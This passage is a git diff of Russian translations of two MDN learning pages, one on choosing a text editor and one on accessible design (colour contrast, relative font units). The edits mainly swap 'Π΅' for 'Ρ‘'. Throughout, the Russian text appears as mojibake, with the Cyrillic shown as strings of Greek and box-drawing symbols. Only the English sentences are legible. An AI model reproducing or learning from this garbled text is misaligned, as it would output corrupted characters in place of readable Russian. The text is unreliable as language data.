-<p>Π’Π΅Π±-сайт состоит Π² основном ΠΈΠ· тСкстовых Ρ„Π°ΠΉΠ»ΠΎΠ², поэтому для вСсСлого ΠΈ приятного процСсса Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ свой тСкстовый Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€ с ΡƒΠΌΠΎΠΌ.</p>
+<p>Π’Π΅Π±-сайт состоит Π² основном ΠΈΠ· тСкстовых Ρ„Π°ΠΉΠ»ΠΎΠ², поэтому для вСсёлого ΠΈ приятного процСсса Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ свой тСкстовый Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€ с ΡƒΠΌΠΎΠΌ.</p>
<p>ΠžΠ³Ρ€ΠΎΠΌΠ½ΠΎΠ΅ количСство Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ΠΎΠ² Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ ΠΎΡˆΠ΅Π»ΠΎΠΌΠ»ΡΠ΅Ρ‚, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ тСкстовый Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€ Π½Π°ΡΡ‚ΠΎΠ»ΡŒΠΊΠΎ Π²Π°ΠΆΠ΅Π½ для ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π½Ρ‹Ρ… Π½Π°ΡƒΠΊΒ (Π΄Π°, Π²Π΅Π±-Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠ° - это ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π½Π°Ρ Π½Π°ΡƒΠΊΠ°). Π’ ΠΈΠ΄Π΅Π°Π»Π΅ Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΏΠΎΠΏΡ€ΠΎΠ±ΠΎΠ²Π°Ρ‚ΡŒ ΡΡ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€ΠΎΠ², сколько смоТСтС, ΠΈ ΠΏΠΎΡ‡ΡƒΠ²ΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ соотвСтствуСт Π²Π°ΡˆΠ΅ΠΌΡƒ Ρ€Π°Π±ΠΎΡ‡Π΅ΠΌΡƒ процСссу. Но ΠΌΡ‹ Π΄Π°Π΄ΠΈΠΌ Π²Π°ΠΌ нСсколько совСтов для Π½Π°Ρ‡Π°Π»Π°.</p>
@@ -43,7 +43,7 @@ translation_of: Learn/Common_questions/Available_text_editors
<li>Π˜ΠΌΠ΅Π΅Ρ‚ Π»ΠΈ смысл ΠΌΠΎΠΉ тСкстовый Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€ для мСня?</li>
</ul>
-<p>ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ Π½Π΅ упомянули Ρ†Π΅Π½Ρƒ. ΠžΡ‡Π΅Π²ΠΈΠ΄Π½ΠΎ, Ρ‡Ρ‚ΠΎ это Ρ‚ΠΎΠΆΠ΅ Π²Π°ΠΆΠ½ΠΎ, Π½ΠΎ ΡΡ‚ΠΎΠΈΠΌΠΎΡΡ‚ΡŒ ΠΏΡ€ΠΎΠ΄ΡƒΠΊΡ‚Π° ΠΌΠ°Π»ΠΎ связана с Π΅Π³ΠΎ качСством ΠΈΠ»ΠΈ возмоТностями. БущСствуСт большая Π²Π΅Ρ€ΠΎΡΡ‚Π½ΠΎΡΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ Π½Π°ΠΉΠ΄Π΅Ρ‚Π΅ подходящий тСкстовый Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€ бСсплатно.</p>
+<p>ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ Π½Π΅ упомянули Ρ†Π΅Π½Ρƒ. ΠžΡ‡Π΅Π²ΠΈΠ΄Π½ΠΎ, Ρ‡Ρ‚ΠΎ это Ρ‚ΠΎΠΆΠ΅ Π²Π°ΠΆΠ½ΠΎ, Π½ΠΎ ΡΡ‚ΠΎΠΈΠΌΠΎΡΡ‚ΡŒ ΠΏΡ€ΠΎΠ΄ΡƒΠΊΡ‚Π° ΠΌΠ°Π»ΠΎ связана с Π΅Π³ΠΎ качСством ΠΈΠ»ΠΈ возмоТностями. БущСствуСт большая Π²Π΅Ρ€ΠΎΡΡ‚Π½ΠΎΡΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ Π½Π°ΠΉΠ΄Ρ‘Ρ‚Π΅ подходящий тСкстовый Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€ бСсплатно.</p>
<p>Here are some popular editors:</p>
@@ -211,7 +211,7 @@ translation_of: Learn/Common_questions/Available_text_editors
<h4 id="Π‘_ΠΊΠ°ΠΊΠΎΠΉ_ОБ_ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΎΠ½Π½ΠΎΠΉ_систСмой_я_Ρ…ΠΎΡ‡Ρƒ_Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ">Π‘ ΠΊΠ°ΠΊΠΎΠΉ ОБ (ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΎΠ½Π½ΠΎΠΉ систСмой) я Ρ…ΠΎΡ‡Ρƒ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ?</h4>
-<p>ΠšΠΎΠ½Π΅Ρ‡Π½ΠΎ, это Π’Π°Ρˆ Π²Ρ‹Π±ΠΎΡ€. Однако Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€Ρ‹ доступны Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… ОБ, поэтому, Ссли Π’Π°ΠΌ нравится ΠΏΠ΅Ρ€Π΅ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒΡΡ Π²ΠΏΠ΅Ρ€Π΅Π΄ ΠΈ Π½Π°Π·Π°Π΄, это сузит возмоТности. Π›ΡŽΠ±ΠΎΠΉ тСкстовый Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€ ΠΌΠΎΠΆΠ΅Ρ‚ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ Ρ€Π°Π±ΠΎΡ‚Ρƒ, Ссли ΠΎΠ½ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Π² вашСй систСмС, Π½ΠΎ кроссплатформСнный Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€ ΠΎΠ±Π»Π΅Π³Ρ‡Π°Π΅Ρ‚ ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ с ОБ Π½Π° ОБ.</p>
+<p>ΠšΠΎΠ½Π΅Ρ‡Π½ΠΎ, это Π’Π°Ρˆ Π²Ρ‹Π±ΠΎΡ€. Однако Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€Ρ‹ доступны Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… ОБ, поэтому, Ссли Π’Π°ΠΌ нравится ΠΏΠ΅Ρ€Π΅ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒΡΡ Π²ΠΏΠ΅Ρ€Ρ‘Π΄ ΠΈ Π½Π°Π·Π°Π΄, это сузит возмоТности. Π›ΡŽΠ±ΠΎΠΉ тСкстовый Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€ ΠΌΠΎΠΆΠ΅Ρ‚ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ Ρ€Π°Π±ΠΎΡ‚Ρƒ, Ссли ΠΎΠ½ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Π² вашСй систСмС, Π½ΠΎ кроссплатформСнный Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€ ΠΎΠ±Π»Π΅Π³Ρ‡Π°Π΅Ρ‚ ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ с ОБ Π½Π° ОБ.</p>
<p>So first find out which OS you're using, and then check if a given editor supports your OS. Most editors specify on their website whether they support Windows or Mac, though some editors only support certain versions (say, only Windows 7 or later and not Vista). If you're running Ubuntu, your best bet is to search within the Ubuntu Software Center. In general, of course, the Linux/UNIX world is a pretty diverse place where different distros work with different, incompatible packaging systems. That means, if you've set your heart on an obscure text editor, you may have to compile it from source yourself (not for the faint-hearted).</p>
diff --git a/files/ru/learn/common_questions/design_for_all_types_of_users/index.html b/files/ru/learn/common_questions/design_for_all_types_of_users/index.html
index 8486ff757f..7b3ceb5b95 100644
--- a/files/ru/learn/common_questions/design_for_all_types_of_users/index.html
+++ b/files/ru/learn/common_questions/design_for_all_types_of_users/index.html
@@ -29,15 +29,15 @@ translation_of: Learn/Common_questions/Design_for_all_types_of_users
<h2 id="ΠšΡ€Π°Ρ‚ΠΊΠΎΠ΅_описаниС">ΠšΡ€Π°Ρ‚ΠΊΠΎΠ΅ описаниС</h2>
-<p>Когда Π²Ρ‹ создаСтС Π²Π΅Π±-сайт, ΠΎΠ΄Π½Π° ΠΈΠ· Π³Π»Π°Π²Π½Ρ‹Ρ… ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Π½ΡƒΠΆΠ½ΠΎ ΡƒΡ‡ΠΈΡ‚Ρ‹Π²Π°Ρ‚ΡŒ,Β - это ΡƒΠ½ΠΈΠ²Π΅Ρ€ΡΠ°Π»ΡŒΠ½Ρ‹ΠΉ Π΄ΠΈΠ·Π°ΠΉΠ½: Π΄ΠΎΡΡ‚ΡƒΠΏΠ½ΠΎΡΡ‚ΡŒ для всСх ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ нСзависимо ΠΎΡ‚ инвалидности, тСхничСских ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½ΠΈΠΉ, ΠΊΡƒΠ»ΡŒΡ‚ΡƒΡ€Ρ‹, мСстополоТСния ΠΈ Ρ‚Π°ΠΊ Π΄Π°Π»Π΅Π΅.</p>
+<p>Когда Π²Ρ‹ создаётС Π²Π΅Π±-сайт, ΠΎΠ΄Π½Π° ΠΈΠ· Π³Π»Π°Π²Π½Ρ‹Ρ… ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Π½ΡƒΠΆΠ½ΠΎ ΡƒΡ‡ΠΈΡ‚Ρ‹Π²Π°Ρ‚ΡŒ,Β - это ΡƒΠ½ΠΈΠ²Π΅Ρ€ΡΠ°Π»ΡŒΠ½Ρ‹ΠΉ Π΄ΠΈΠ·Π°ΠΉΠ½: Π΄ΠΎΡΡ‚ΡƒΠΏΠ½ΠΎΡΡ‚ΡŒ для всСх ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ нСзависимо ΠΎΡ‚ инвалидности, тСхничСских ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½ΠΈΠΉ, ΠΊΡƒΠ»ΡŒΡ‚ΡƒΡ€Ρ‹, мСстополоТСния ΠΈ Ρ‚Π°ΠΊ Π΄Π°Π»Π΅Π΅.</p>
<h2 id="Π‘ΠΎΠ»Π΅Π΅_Π³Π»ΡƒΠ±ΠΎΠΊΠΎΠ΅_ΠΈΠ·ΡƒΡ‡Π΅Π½ΠΈΠ΅">Π‘ΠΎΠ»Π΅Π΅ Π³Π»ΡƒΠ±ΠΎΠΊΠΎΠ΅ ΠΈΠ·ΡƒΡ‡Π΅Π½ΠΈΠ΅</h2>
<h3 id="Π¦Π²Π΅Ρ‚ΠΎΠ²ΠΎΠΉ_контраст">Π¦Π²Π΅Ρ‚ΠΎΠ²ΠΎΠΉ контраст</h3>
-<p>Π§Ρ‚ΠΎΠ±Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ ваш тСкст Ρ‡ΠΈΡ‚Π°Π΅ΠΌΡ‹ΠΌ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ Ρ†Π²Π΅Ρ‚ тСкста, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Ρ…ΠΎΡ€ΠΎΡˆΠΎ контрастируСт с Ρ†Π²Π΅Ρ‚ΠΎΠΌ Ρ„ΠΎΠ½Π°. Π‘Π΄Π΅Π»Π°ΠΉΡ‚Π΅ Π΅Π³ΠΎ особСнно Π»Π΅Π³ΠΊΠΈΠΌ для чтСния тСкста, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠΌΠΎΡ‡ΡŒ слабовидящим людям ΠΈ людям, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‰ΠΈΠΌ свои Ρ‚Π΅Π»Π΅Ρ„ΠΎΠ½Ρ‹ Π½Π° ΡƒΠ»ΠΈΡ†Π΅.</p>
+<p>Π§Ρ‚ΠΎΠ±Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ ваш тСкст Ρ‡ΠΈΡ‚Π°Π΅ΠΌΡ‹ΠΌ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ Ρ†Π²Π΅Ρ‚ тСкста, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Ρ…ΠΎΡ€ΠΎΡˆΠΎ контрастируСт с Ρ†Π²Π΅Ρ‚ΠΎΠΌ Ρ„ΠΎΠ½Π°. Π‘Π΄Π΅Π»Π°ΠΉΡ‚Π΅ Π΅Π³ΠΎ особСнно Π»Ρ‘Π³ΠΊΠΈΠΌ для чтСния тСкста, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠΌΠΎΡ‡ΡŒ слабовидящим людям ΠΈ людям, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‰ΠΈΠΌ свои Ρ‚Π΅Π»Π΅Ρ„ΠΎΠ½Ρ‹ Π½Π° ΡƒΠ»ΠΈΡ†Π΅.</p>
-<p>{{Glossary("W3C")}} опрСдСляСт Ρ…ΠΎΡ€ΠΎΡˆΠ΅Π΅ сочСтаниС Ρ†Π²Π΅Ρ‚ΠΎΠ² с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Π°Π»Π³ΠΎΡ€ΠΈΡ‚ΠΌΠ°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ вычисляСт ΡΠΎΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΠ΅ яркости ΠΌΠ΅ΠΆΠ΄Ρƒ ΠΏΠ΅Ρ€Π΅Π΄Π½ΠΈΠΌ ΠΈ Π·Π°Π΄Π½ΠΈΠΌ ΠΏΠ»Π°Π½ΠΎΠΌ. РасчСт ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠΊΠ°Π·Π°Ρ‚ΡŒΡΡ довольно слоТным, Π½ΠΎ ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΏΠΎΠ»ΠΎΠΆΠΈΡ‚ΡŒΡΡ Π½Π° инструмСнты, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΡΠ΄Π΅Π»Π°ΡŽΡ‚ эту Ρ€Π°Π±ΠΎΡ‚Ρƒ Π·Π° нас.</p>
+<p>{{Glossary("W3C")}} опрСдСляСт Ρ…ΠΎΡ€ΠΎΡˆΠ΅Π΅ сочСтаниС Ρ†Π²Π΅Ρ‚ΠΎΠ² с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Π°Π»Π³ΠΎΡ€ΠΈΡ‚ΠΌΠ°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ вычисляСт ΡΠΎΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΠ΅ яркости ΠΌΠ΅ΠΆΠ΄Ρƒ ΠΏΠ΅Ρ€Π΅Π΄Π½ΠΈΠΌ ΠΈ Π·Π°Π΄Π½ΠΈΠΌ ΠΏΠ»Π°Π½ΠΎΠΌ. Расчёт ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠΊΠ°Π·Π°Ρ‚ΡŒΡΡ довольно слоТным, Π½ΠΎ ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΏΠΎΠ»ΠΎΠΆΠΈΡ‚ΡŒΡΡ Π½Π° инструмСнты, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΡΠ΄Π΅Π»Π°ΡŽΡ‚ эту Ρ€Π°Π±ΠΎΡ‚Ρƒ Π·Π° нас.</p>
<p>Π”Π°Π²Π°ΠΉΡ‚Π΅ Π·Π°Π³Ρ€ΡƒΠ·ΠΈΠΌ ΠΈ установим <a href="http://www.paciellogroup.com/resources/contrastanalyser/">Π°Π½Π°Π»ΠΈΠ·Π°Ρ‚ΠΎΡ€ Ρ†Π²Π΅Ρ‚ΠΎΠ²ΠΎΠ³ΠΎ контраста</a> Paciello Group.</p>
@@ -64,7 +64,7 @@ translation_of: Learn/Common_questions/Design_for_all_types_of_users
<p>... Π²Ρ‹ Π³ΠΎΠ²ΠΎΡ€ΠΈΡ‚Π΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρƒ, Ρ‡Ρ‚ΠΎ Π±Ρ‹ Π½ΠΈ ΡΠ»ΡƒΡ‡ΠΈΠ»ΠΎΡΡŒ, Ρ€Π°Π·ΠΌΠ΅Ρ€ ΡˆΡ€ΠΈΡ„Ρ‚Π° Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ 16 пиксСлСй. Π‘ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ обходят это ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ, дСлая Π²ΠΈΠ΄, Ρ‡Ρ‚ΠΎ Π²Ρ‹ проситС "16 пиксСлСй, ΠΊΠΎΠ³Π΄Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ устанавливаСт коэффициСнт ΠΌΠ°ΡΡˆΡ‚Π°Π±ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΡ 100%".</p>
-<p>Однако, Π½Π° протяТСнии ΠΌΠ½ΠΎΠ³ΠΈΡ… Π»Π΅Ρ‚ Internet Explorer катСгоричСски отобраТаСтся 16 Π½Π° 16 пиксСлСй. Π’ этом случаС ΠΌΠ°ΡΡˆΡ‚Π°Π±ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ Π½ΠΈΡ‡Π΅Π³ΠΎ Π½Π΅ Π΄Π°Π»ΠΎ, Π΄Π°ΠΆΠ΅ Π² послСднСм Internet Explorer 8, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π½Π°ΠΌ всС Π΅Ρ‰Π΅ приходится ΠΎΠ±ΡΠ»ΡƒΠΆΠΈΠ²Π°Ρ‚ΡŒ, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΎΠ½ всС Π΅Ρ‰Π΅ сущСствуСт.</p>
+<p>Однако, Π½Π° протяТСнии ΠΌΠ½ΠΎΠ³ΠΈΡ… Π»Π΅Ρ‚ Internet Explorer катСгоричСски отобраТаСтся 16 Π½Π° 16 пиксСлСй. Π’ этом случаС ΠΌΠ°ΡΡˆΡ‚Π°Π±ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ Π½ΠΈΡ‡Π΅Π³ΠΎ Π½Π΅ Π΄Π°Π»ΠΎ, Π΄Π°ΠΆΠ΅ Π² послСднСм Internet Explorer 8, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π½Π°ΠΌ всС Π΅Ρ‰Ρ‘ приходится ΠΎΠ±ΡΠ»ΡƒΠΆΠΈΠ²Π°Ρ‚ΡŒ, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΎΠ½ всС Π΅Ρ‰Ρ‘ сущСствуСт.</p>
<h4 id="ΠžΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅_Π΅Π΄ΠΈΠ½ΠΈΡ†Ρ‹">ΠžΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ Π΅Π΄ΠΈΠ½ΠΈΡ†Ρ‹</h4>
@@ -74,14 +74,14 @@ translation_of: Learn/Common_questions/Design_for_all_types_of_users
<dl>
<dt>ΠŸΡ€ΠΎΡ†Π΅Π½Ρ‚Π½Ρ‹Π΅ Ρ€Π°Π·ΠΌΠ΅Ρ€Ρ‹: <code>%</code></dt>
- <dd>Π­Ρ‚ΠΎΡ‚ Π±Π»ΠΎΠΊ сообщаСт Π²Π°ΡˆΠ΅ΠΌΡƒ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρƒ, Ρ‡Ρ‚ΠΎ Ρ€Π°Π·ΠΌΠ΅Ρ€ ΡˆΡ€ΠΈΡ„Ρ‚Π° элСмСнта Π΄ΠΎΠ»ΠΆΠ΅Π½ ΡΠΎΡΡ‚Π°Π²Π»ΡΡ‚ΡŒ N% ΠΎΡ‚ ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅Π³ΠΎ элСмСнта, Ρ€Π°Π·ΠΌΠ΅Ρ€ ΡˆΡ€ΠΈΡ„Ρ‚Π° ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ Π±Ρ‹Π» Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½. Если Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒ Π½Π΅ Π½Π°ΠΉΠ΄Π΅Π½, Ρ‚ΠΎ Ρ€Π°Π·ΠΌΠ΅Ρ€ ΡˆΡ€ΠΈΡ„Ρ‚Π° ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅ считаСтся Π±Π°Π·ΠΎΠ²Ρ‹ΠΌ Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠΌ для расчСта (ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ эквивалСнтным 16 пиксСлям).</dd>
+ <dd>Π­Ρ‚ΠΎΡ‚ Π±Π»ΠΎΠΊ сообщаСт Π²Π°ΡˆΠ΅ΠΌΡƒ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρƒ, Ρ‡Ρ‚ΠΎ Ρ€Π°Π·ΠΌΠ΅Ρ€ ΡˆΡ€ΠΈΡ„Ρ‚Π° элСмСнта Π΄ΠΎΠ»ΠΆΠ΅Π½ ΡΠΎΡΡ‚Π°Π²Π»ΡΡ‚ΡŒ N% ΠΎΡ‚ ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅Π³ΠΎ элСмСнта, Ρ€Π°Π·ΠΌΠ΅Ρ€ ΡˆΡ€ΠΈΡ„Ρ‚Π° ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ Π±Ρ‹Π» Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½. Если Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒ Π½Π΅ Π½Π°ΠΉΠ΄Π΅Π½, Ρ‚ΠΎ Ρ€Π°Π·ΠΌΠ΅Ρ€ ΡˆΡ€ΠΈΡ„Ρ‚Π° ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅ считаСтся Π±Π°Π·ΠΎΠ²Ρ‹ΠΌ Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠΌ для расчёта (ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ эквивалСнтным 16 пиксСлям).</dd>
<dt>Em Ρ€Π°Π·ΠΌΠ΅Ρ€Ρ‹: <code>em</code></dt>
<dd>Π­Ρ‚Π° Π΅Π΄ΠΈΠ½ΠΈΡ†Π° вычисляСтся Ρ‚Π°ΠΊ ΠΆΠ΅, ΠΊΠ°ΠΊ ΠΈ ΠΏΡ€ΠΎΡ†Π΅Π½Ρ‚Ρ‹, Π·Π° ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ΠΌ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ вычисляСтС Π² частях 1, Π° Π½Π΅ Π² частях 100. Говорят, Ρ‡Ρ‚ΠΎ "em" - это ΡˆΠΈΡ€ΠΈΠ½Π° Π·Π°Π³Π»Π°Π²Π½ΠΎΠΉ Π±ΡƒΠΊΠ²Ρ‹ β€œΠœβ€ Π² Π°Π»Ρ„Π°Π²ΠΈΡ‚Π΅ (Π³Ρ€ΡƒΠ±ΠΎ говоря, Π±ΡƒΠΊΠ²Π° β€œΠœβ€ вписываСтся Π² ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚).</dd>
<dt>Rem Ρ€Π°Π·ΠΌΠ΅Ρ€Ρ‹: <code>rem</code></dt>
<dd>Π­Ρ‚Π° Π΅Π΄ΠΈΠ½ΠΈΡ†Π° измСрСния ΠΏΡ€ΠΎΠΏΠΎΡ€Ρ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½Π° Ρ€Π°Π·ΠΌΠ΅Ρ€Ρƒ ΡˆΡ€ΠΈΡ„Ρ‚Π° ΠΊΠΎΡ€Π½Π΅Π²ΠΎΠ³ΠΎ элСмСнта ΠΈ выраТаСтся Π² Π²ΠΈΠ΄Π΅ частСй, Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ em.</dd>
</dl>
-<p>ΠŸΡ€Π΅Π΄ΠΏΠΎΠ»ΠΎΠΆΠΈΠΌ, Ρ‡Ρ‚ΠΎ Π½Π°ΠΌ Π½ΡƒΠΆΠ΅Π½ Π±Π°Π·ΠΎΠ²Ρ‹ΠΉ Ρ€Π°Π·ΠΌΠ΅Ρ€ ΡˆΡ€ΠΈΡ„Ρ‚Π° 16px ΠΈΒ h1 (основной Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ) Π² эквивалСнтС 32px, Π½ΠΎ Ссли Π² ΠΏΡ€Π΅Π΄Π΅Π»Π°Ρ… h1 ΠΌΡ‹ Π½Π°ΠΉΠ΄Π΅ΠΌ <code>ΠΏΡ€ΠΎΠΌΠ΅ΠΆΡƒΡ‚ΠΎΠΊ </code>с классом <code>ΠΏΠΎΠ΄Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ²</code>, ΠΎΠ½ Ρ‚ΠΎΠΆΠ΅ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ отрисован с Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠΌ ΡˆΡ€ΠΈΡ„Ρ‚Π° ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ (ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ 16px).</p>
+<p>ΠŸΡ€Π΅Π΄ΠΏΠΎΠ»ΠΎΠΆΠΈΠΌ, Ρ‡Ρ‚ΠΎ Π½Π°ΠΌ Π½ΡƒΠΆΠ΅Π½ Π±Π°Π·ΠΎΠ²Ρ‹ΠΉ Ρ€Π°Π·ΠΌΠ΅Ρ€ ΡˆΡ€ΠΈΡ„Ρ‚Π° 16px ΠΈΒ h1 (основной Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ) Π² эквивалСнтС 32px, Π½ΠΎ Ссли Π² ΠΏΡ€Π΅Π΄Π΅Π»Π°Ρ… h1 ΠΌΡ‹ Π½Π°ΠΉΠ΄Ρ‘ΠΌ <code>ΠΏΡ€ΠΎΠΌΠ΅ΠΆΡƒΡ‚ΠΎΠΊ </code>с классом <code>ΠΏΠΎΠ΄Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ²</code>, ΠΎΠ½ Ρ‚ΠΎΠΆΠ΅ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ отрисован с Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠΌ ΡˆΡ€ΠΈΡ„Ρ‚Π° ΠΏΠΎ 